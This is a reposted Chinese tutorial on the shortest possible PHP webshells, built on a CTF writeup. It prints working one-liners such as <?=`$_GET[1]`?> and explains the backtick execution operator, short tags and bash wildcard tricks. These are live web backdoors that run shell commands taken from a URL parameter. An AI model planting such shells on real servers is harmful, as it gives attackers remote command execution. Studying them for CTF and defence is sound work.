设为首页 - 加入收藏 ASP站长网(Aspzz.Cn)- 科技、建站、经验、云计算、5G、大数据,站长网!
热搜: 创业者 手机 数据
当前位置: 首页 > 站长学院 > PHP教程 > 正文

PHP最短webshell的一些理解

发布时间:2022-02-24 12:59 所属栏目:121 来源:互联网
导读:The shortest webshell of PHP 某天闲逛wooyun,发现一篇挺有意思的文章《32C3 CTF 两个Web题目的Writeup》。其中提到了两个比较有意思的东西: PHP执行运算符反引号 上面提及的文章,我读前几遍的时候是很费解的!后来,土司的P牛给我一些指点,豁然开朗 Go
  The shortest webshell of PHP
 
  某天闲逛wooyun,发现一篇挺有意思的文章————《32C3 CTF 两个Web题目的Writeup》。其中提到了两个比较有意思的东西:
 
  PHP执行运算符反引号
 
  上面提及的文章,我读前几遍的时候是很费解的!后来,土司的P牛给我一些指点,豁然开朗
 
  Google “the shortest webshell”
 
  <?=`$_GET[1]`?>
 
  google得到的结果之一如上所示,一共15个字符。这里比较有意思的是
 
  php.ini需要开启short_open_tag后才能使用短标签,才能使用 <?= 代替 <? echo
 
  php中使用分号分隔语句进行解析
 
  最后一行不需要分号
 
  php多条语句可以写在一样,但是需要分号分隔,多个分号之间只要是空白符,php是允许的!(有待考究)
 
  <?=`$_GET[1]`;
 
  google得到的最短的webshell如上所示,一共14个字符
 
  这里去掉了闭合标签,但是加上了分号,最后一行不需要分号,但是一定需要闭合标签!此外,这种写法嵌套在其它文件中是不可行的,那么就必须写上闭合标签!
 
  linux中bash的妙用
 
  <?=`*`;
 
  一个7个字符,这七个字符能做什么呢?
 
  在linux系统中,在终端运行*与上面的作用是一样的!
 
  *用于匹配目录下的所有文件名(包括目录名)。
 
  反引号就是执行运算符,将目录下的文件名以命令的形式进行执行!接下来就是linux的东西了。




(编辑:ASP站长网)

    网友评论
    推荐文章
      热点阅读